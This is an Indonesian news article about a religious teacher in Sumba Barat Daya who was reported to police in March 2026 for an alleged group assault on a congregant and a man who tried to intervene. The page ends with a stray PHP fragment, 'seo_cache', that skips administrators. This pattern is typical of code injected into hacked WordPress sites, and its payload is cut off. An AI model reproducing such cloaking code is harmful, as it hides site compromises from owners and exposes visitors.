Hukum

Disebut Lakukan Penyerangan ke Rumah Salah Satu Jamaah, Ustadz Tatan Dilaporkan ke Polisi

×

Disebut Lakukan Penyerangan ke Rumah Salah Satu Jamaah, Ustadz Tatan Dilaporkan ke Polisi

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Seorang Ustadz di Sumba Barat Daya dilaporkan ke polisi atas tuduhan penyerangan dan pengeroyokan.

Ustadz Tatan Abdulrahman yang juga Kepala Madrasah Aliyah (MA) ini dilaporkan oleh Muhammad Yusuf, warga Desa Rada Mata, Kecamatan Kota Tambolaka pada Jumat (13/03/2026).

Dikonfirmasi awak media usai melapor di SPKT Polres SBD, Muhammad Yusuf menjelaskan, kejadian itu bermula ketika ia hendak berangkat ke kantor.

“Saat itu sudah jam satu siang, setelah sholat Jumat saya kembali ke rumah dan kemudian bersiap hendak ke tempat kerja” terangnya.

Karyawan Bandara Lede Kalumbang, Tambolaka ini menuturkan, saat membuka pintu depan ia melihat Ustadz Tatan bersama dua orang lain yakni Andi dan Umang sedang berdiri di depan rumah.

Saat keluar dari rumah ia langsung didekati Ustadz Tatan, Andi, dan Umang lalu mengeroyoknya.

“Saya sempat berteriak minta tolong lalu datang Pak Jamaludin Wungo yang hendak melerai,” bebernya lagi.

Namun, kata dia, Jamaludin Wungo pun jadi sasaran pengeroyokan Ustadz Tatan, Andi, dan Umang.

Ia mengaku, tidak punya permasalahan apa pun dengan ketiga pengeroyok tersebut.

Tetapi Muhammad Yusuf menyebut jika pangkal persoalan itu berawal dari sholat Jumat di Masjid Al Falah, Waitabula.

“Saat itu ia berkhutbah dan saya menyahut amin, dan ini yang kemudian jadi alasan mereka datang serang saya,” aku Muhammad Yusuf.

Atas kejadian yang dialaminya ia melapor ke Sentral Pelayanan Kepolisian Terpadu (SPKT) Polres Sumba Barat agar peristiwa itu diproses hukum.

Laporannya telah diterima dengan bukti Surat Tanda Penerimaan Laporan Nomor: LP/B/44/III/2026/SPKT/POLRES SUMBA BARAT DAYA/POLDA NUSA TENGGARA TIMUR.

Tegakkan Hukum

Jamaludin Wungo yang saat itu mendampingi Muhammad Yusuf menegaskan, persoalan ini harus diselesaikan lewat jalur hukum.

“Saya yang hendak melerai malah ikut diserang,” ujar Jamaludin sambil menunjukkan lututnya yang lecet.

Ia juga menampik tuduhan yang menyebut jika dalam kejadian itu dirinya menenteng samurai.

“Saya hanya membawa sepotong kayu,” imbuhnya lagi.

Pihaknya meminta polisi agar memproses tuntas kasus ini sesuai hukum yang berlaku.

Ditegaskannya, pintu mediasi sudah tertutup dan proses hukum adalah satu-satunya jalan keluar.

Menurut Jamaludin peristiwa itu adalah penyerangan yang sudah direncanakan.

“Hukum harus ditegakkan biar ada efek jera,” tandasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>